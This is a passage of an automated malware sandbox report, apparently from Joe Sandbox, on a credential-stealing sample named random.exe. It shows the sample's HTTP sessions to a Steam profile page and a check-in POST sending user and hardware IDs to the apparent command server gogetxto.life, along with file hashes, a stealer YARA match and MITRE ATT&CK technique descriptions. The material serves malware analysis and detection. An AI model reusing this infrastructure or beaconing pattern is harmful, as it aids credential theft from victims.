09 09 09 09 09 09 09 Data Ascii: k" id="language_pulldown" onclick="ShowMenu( this, 'language_dropdown', 'right' );">language</span><div class="popup_block_new" id="language_dropdown" style="display: none;"><div class="popup_body popup_menu">
2025-03-19 13:01:28 UTC	1932	IN	Data Raw: 73 65 63 74 69 6f 6e 54 65 78 74 22 3e 0a 09 09 09 09 41 6e 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 70 72 6f 63 65 73 73 69 6e 67 20 79 6f 75 72 20 72 65 71 75 65 73 74 3a 3c 62 72 3e 3c 62 72 3e 0a 09 09 09 3c 2f 70 3e 0a 09 09 09 3c 68 33 3e 46 61 69 6c 65 64 20 6c 6f 61 64 69 6e 67 20 70 72 6f 66 69 6c 65 20 64 61 74 61 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2e 3c 2f 68 33 3e 3c 62 72 3e 3c 62 72 3e 0a 09 09 09 3c 70 20 63 6c 61 73 73 3d 22 72 65 74 75 72 6e 4c 69 6e 6b 22 3e 48 65 72 65 27 73 20 61 20 6c 69 6e 6b 20 74 6f 20 74 68 65 20 53 74 65 61 6d 20 43 6f 6d 6d 75 6e 69 74 79 20 3c 61 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 53 74 61 6e 64 61 72 64 22 20 68 72 65 66 3d 22 Data Ascii: sectionText">An error was encountered while processing your request:<br><br></p><h3>Failed loading profile data, please try again later.</h3><br><br><p class="returnLink">Here's a link to the Steam Community <a class="linkStandard" href="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.11	49719	23.197.127.21	443	6452	C:\Users\user\Desktop\random.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:01:29 UTC	94	OUT	GET /profiles/76561199822375128 HTTP/1.1 Connection: Keep-Alive Host: steamcommunity.com
2025-03-19 13:01:29 UTC	1974	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 X-Frame-Options: SAMEORIGIN Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 19 Mar 2025 13:01:29 GMT Content-Length: 26508 Connection: close Set-Cookie: sessionid=b0368a34e90e099d778ce948; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C9d572defde0400a76af5b032f8ebba09; path=/; secure; HttpOnly; SameSite=None
2025-03-19 13:01:29 UTC	14410	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 20 44 65 73 6b 74 6f 70 55 49 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e Data Ascii: <!DOCTYPE html><html class=" responsive DesktopUI" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21">
2025-03-19 13:01:29 UTC	10166	IN	Data Raw: 6b 22 20 69 64 3d 22 6c 61 6e 67 75 61 67 65 5f 70 75 6c 6c 64 6f 77 6e 22 20 6f 6e 63 6c 69 63 6b 3d 22 53 68 6f 77 4d 65 6e 75 28 20 74 68 69 73 2c 20 27 6c 61 6e 67 75 61 67 65 5f 64 72 6f 70 64 6f 77 6e 27 2c 20 27 72 69 67 68 74 27 20 29 3b 22 3e 6c 61 6e 67 75 61 67 65 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 62 6c 6f 63 6b 5f 6e 65 77 22 20 69 64 3d 22 6c 61 6e 67 75 61 67 65 5f 64 72 6f 70 64 6f 77 6e 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 22 3e 0a 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 62 6f 64 79 20 70 6f 70 75 70 5f 6d 65 6e 75 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 Data Ascii: k" id="language_pulldown" onclick="ShowMenu( this, 'language_dropdown', 'right' );">language</span><div class="popup_block_new" id="language_dropdown" style="display: none;"><div class="popup_body popup_menu">
2025-03-19 13:01:29 UTC	1932	IN	Data Raw: 73 65 63 74 69 6f 6e 54 65 78 74 22 3e 0a 09 09 09 09 41 6e 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 70 72 6f 63 65 73 73 69 6e 67 20 79 6f 75 72 20 72 65 71 75 65 73 74 3a 3c 62 72 3e 3c 62 72 3e 0a 09 09 09 3c 2f 70 3e 0a 09 09 09 3c 68 33 3e 46 61 69 6c 65 64 20 6c 6f 61 64 69 6e 67 20 70 72 6f 66 69 6c 65 20 64 61 74 61 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2e 3c 2f 68 33 3e 3c 62 72 3e 3c 62 72 3e 0a 09 09 09 3c 70 20 63 6c 61 73 73 3d 22 72 65 74 75 72 6e 4c 69 6e 6b 22 3e 48 65 72 65 27 73 20 61 20 6c 69 6e 6b 20 74 6f 20 74 68 65 20 53 74 65 61 6d 20 43 6f 6d 6d 75 6e 69 74 79 20 3c 61 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 53 74 61 6e 64 61 72 64 22 20 68 72 65 66 3d 22 Data Ascii: sectionText">An error was encountered while processing your request:<br><br></p><h3>Failed loading profile data, please try again later.</h3><br><br><p class="returnLink">Here's a link to the Steam Community <a class="linkStandard" href="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.11	49720	23.197.127.21	443	6452	C:\Users\user\Desktop\random.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:01:30 UTC	94	OUT	GET /profiles/76561199822375128 HTTP/1.1 Connection: Keep-Alive Host: steamcommunity.com
2025-03-19 13:01:31 UTC	1974	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 X-Frame-Options: SAMEORIGIN Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 19 Mar 2025 13:01:31 GMT Content-Length: 26508 Connection: close Set-Cookie: sessionid=9ea6f5904d91eff800eaf89d; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C9d572defde0400a76af5b032f8ebba09; path=/; secure; HttpOnly; SameSite=None
2025-03-19 13:01:31 UTC	14410	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 20 44 65 73 6b 74 6f 70 55 49 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e Data Ascii: <!DOCTYPE html><html class=" responsive DesktopUI" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21">
2025-03-19 13:01:31 UTC	10166	IN	Data Raw: 6b 22 20 69 64 3d 22 6c 61 6e 67 75 61 67 65 5f 70 75 6c 6c 64 6f 77 6e 22 20 6f 6e 63 6c 69 63 6b 3d 22 53 68 6f 77 4d 65 6e 75 28 20 74 68 69 73 2c 20 27 6c 61 6e 67 75 61 67 65 5f 64 72 6f 70 64 6f 77 6e 27 2c 20 27 72 69 67 68 74 27 20 29 3b 22 3e 6c 61 6e 67 75 61 67 65 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 62 6c 6f 63 6b 5f 6e 65 77 22 20 69 64 3d 22 6c 61 6e 67 75 61 67 65 5f 64 72 6f 70 64 6f 77 6e 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 22 3e 0a 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 62 6f 64 79 20 70 6f 70 75 70 5f 6d 65 6e 75 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 Data Ascii: k" id="language_pulldown" onclick="ShowMenu( this, 'language_dropdown', 'right' );">language</span><div class="popup_block_new" id="language_dropdown" style="display: none;"><div class="popup_body popup_menu">
2025-03-19 13:01:31 UTC	1932	IN	Data Raw: 73 65 63 74 69 6f 6e 54 65 78 74 22 3e 0a 09 09 09 09 41 6e 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 70 72 6f 63 65 73 73 69 6e 67 20 79 6f 75 72 20 72 65 71 75 65 73 74 3a 3c 62 72 3e 3c 62 72 3e 0a 09 09 09 3c 2f 70 3e 0a 09 09 09 3c 68 33 3e 46 61 69 6c 65 64 20 6c 6f 61 64 69 6e 67 20 70 72 6f 66 69 6c 65 20 64 61 74 61 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2e 3c 2f 68 33 3e 3c 62 72 3e 3c 62 72 3e 0a 09 09 09 3c 70 20 63 6c 61 73 73 3d 22 72 65 74 75 72 6e 4c 69 6e 6b 22 3e 48 65 72 65 27 73 20 61 20 6c 69 6e 6b 20 74 6f 20 74 68 65 20 53 74 65 61 6d 20 43 6f 6d 6d 75 6e 69 74 79 20 3c 61 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 53 74 61 6e 64 61 72 64 22 20 68 72 65 66 3d 22 Data Ascii: sectionText">An error was encountered while processing your request:<br><br></p><h3>Failed loading profile data, please try again later.</h3><br><br><p class="returnLink">Here's a link to the Steam Community <a class="linkStandard" href="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.11	57686	23.197.127.21	443	6452	C:\Users\user\Desktop\random.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:01:32 UTC	94	OUT	GET /profiles/76561199822375128 HTTP/1.1 Connection: Keep-Alive Host: steamcommunity.com
2025-03-19 13:01:32 UTC	1974	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 X-Frame-Options: SAMEORIGIN Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 19 Mar 2025 13:01:32 GMT Content-Length: 36122 Connection: close Set-Cookie: sessionid=2533b4a1fdfa4c470c0d2789; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C9d572defde0400a76af5b032f8ebba09; path=/; secure; HttpOnly; SameSite=None
2025-03-19 13:01:32 UTC	14410	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 20 44 65 73 6b 74 6f 70 55 49 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e Data Ascii: <!DOCTYPE html><html class=" responsive DesktopUI" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21">
2025-03-19 13:01:32 UTC	10166	IN	Data Raw: 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 73 74 61 74 73 2f 22 3e 0a 09 09 09 09 09 09 53 74 61 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 73 75 70 65 72 6e 61 76 20 73 75 70 65 72 6e 61 76 5f 61 63 74 69 76 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 22 20 64 61 74 61 2d 74 6f 6f 6c 74 69 70 2d 74 79 70 65 3d 22 73 65 6c 65 63 74 6f 72 22 20 64 61 74 61 2d Data Ascii: </a><a class="submenuitem" href="https://store.steampowered.com/stats/">Stats</a></div><a class="menuitem supernav supernav_active" href="https://steamcommunity.com/" data-tooltip-type="selector" data-
2025-03-19 13:01:32 UTC	11546	IN	Data Raw: 54 41 4d 50 26 71 75 6f 74 3b 3a 31 37 34 32 33 38 39 32 39 32 2c 26 71 75 6f 74 3b 49 4e 5f 54 45 4e 46 4f 4f 54 26 71 75 6f 74 3b 3a 66 61 6c 73 65 2c 26 71 75 6f 74 3b 49 4e 5f 47 41 4d 45 50 41 44 55 49 26 71 75 6f 74 3b 3a 66 61 6c 73 65 2c 26 71 75 6f 74 3b 49 4e 5f 43 48 52 4f 4d 45 4f 53 26 71 75 6f 74 3b 3a 66 61 6c 73 65 2c 26 71 75 6f 74 3b 49 4e 5f 4d 4f 42 49 4c 45 5f 57 45 42 56 49 45 57 26 71 75 6f 74 3b 3a 66 61 6c 73 65 2c 26 71 75 6f 74 3b 50 4c 41 54 46 4f 52 4d 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 75 6e 6b 6e 6f 77 6e 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 42 41 53 45 5f 55 52 4c 5f 53 54 4f 52 45 5f 43 44 4e 5f 41 53 53 45 54 53 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 64 6e 2e 63 6c 6f 75 64 66 6c 61 Data Ascii: TAMP":1742389292,"IN_TENFOOT":false,"IN_GAMEPADUI":false,"IN_CHROMEOS":false,"IN_MOBILE_WEBVIEW":false,"PLATFORM":"unknown","BASE_URL_STORE_CDN_ASSETS":"https:\/\/cdn.cloudfla

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.11	57687	172.67.140.127	443	6452	C:\Users\user\Desktop\random.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:01:33 UTC	262	OUT	POST /Aosn HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 79 Host: gogetxto.life
2025-03-19 13:01:33 UTC	79	OUT	Data Raw: 75 69 64 3d 61 32 39 64 61 33 35 64 64 30 38 31 30 35 37 36 65 61 35 65 38 62 37 61 39 30 37 37 64 32 65 63 26 63 69 64 3d 26 68 77 69 64 3d 30 35 45 30 45 35 44 36 30 36 46 42 38 44 32 32 45 33 45 44 43 45 41 37 37 38 33 36 38 45 33 34 Data Ascii: uid=a29da35dd0810576ea5e8b7a9077d2ec&cid=&hwid=05E0E5D606FB8D22E3EDCEA778368E34
2025-03-19 13:01:33 UTC	772	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 13:01:33 GMT Content-Type: application/octet-stream Content-Length: 43 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jqPrdqlR1AIdPpCduRb5KyFSIV%2FQbwl8%2FONoBJYnN7UNCXGesUzr3bCVP3nbiWjlHhQKLnYGiQnGU9FVlGy4UPt63K2b2xD2i3F21%2BwMfVJXUXNTld9pCxUyzj5jyxUV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 922d28bbca374386-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8876&min_rtt=8787&rtt_var=3474&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=977&delivery_rate=307239&cwnd=32&unsent_bytes=0&cid=3fcef9e15486475b&ts=505&x=0"
2025-03-19 13:01:33 UTC	43	IN	Data Raw: cc 19 55 6f 17 fa dc 66 55 db bb 83 33 f0 13 fe 7d c4 ea 7b e6 b4 bc 94 b2 f2 25 b7 fe a8 b3 40 78 b5 c0 09 5c 1f 12 b2 2e 1d 0f Data Ascii: UofU3}{%@x\.

Statistics

CPU Usage

• random.exe

Click to jump to process

Memory Usage

• random.exe

Click to jump to process

High Level Behavior Distribution

• File
• Registry

Click to dive into process behavior distribution

Target ID:	0
Start time:	09:01:07
Start date:	19/03/2025
Path:	C:\Users\user\Desktop\random.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\random.exe"
Imagebase:	0x110000
File size:	1'904'128 bytes
MD5 hash:	09A9CAA1AE0092481EE8B23A8AE083F6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1211132418.0000000000BEC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Function 00C4AD0C Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1225062365.0000000000C43000.00000004.00000020.00020000.00000000.sdmp, Offset: 00C3F000, based on PE: false

Associated: 00000000.00000003.1211084599.0000000000C3F000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_c3f000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19bdd1c6bf66556c5276178010acf9bbf3f1ee786574a38a3a4e47799a17bb0b
Instruction ID: e7e4876cba4f2ba488b4bf924bba8ea11c0a45a1dece2905c8190678a57f092b
Opcode Fuzzy Hash: 19bdd1c6bf66556c5276178010acf9bbf3f1ee786574a38a3a4e47799a17bb0b
Instruction Fuzzy Hash: 6351557684E3C48FCB178F34D8A12957FB2AF87325B1E41CAC4D04F863C22A5956CB96

Function 00C4AD0C Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1225062365.0000000000C43000.00000004.00000020.00020000.00000000.sdmp, Offset: 00C43000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_c3f000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23930a685b57b2d21ce093584a06bdb91e8c001a4a06fa8a34c07c7f3ec8d785
Instruction ID: e7e4876cba4f2ba488b4bf924bba8ea11c0a45a1dece2905c8190678a57f092b
Opcode Fuzzy Hash: 23930a685b57b2d21ce093584a06bdb91e8c001a4a06fa8a34c07c7f3ec8d785
Instruction Fuzzy Hash: 6351557684E3C48FCB178F34D8A12957FB2AF87325B1E41CAC4D04F863C22A5956CB96

Function 00BF59F9 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1225176832.0000000000BEC000.00000004.00000020.00020000.00000000.sdmp, Offset: 00BEC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_bec000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f24193477ecd1b712cfbb67819523358227fe270f55fbee1a73888caff6372c4
Instruction ID: 5311148aa8efcbb596bc48a820f11112c38a92cb0e85a6557b8171bcd143b9e5
Opcode Fuzzy Hash: f24193477ecd1b712cfbb67819523358227fe270f55fbee1a73888caff6372c4
Instruction Fuzzy Hash: F82122611092D58FC313CF74D494A92BFA1FF8B31639E40DCD9C18F427C2A56542CB42

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

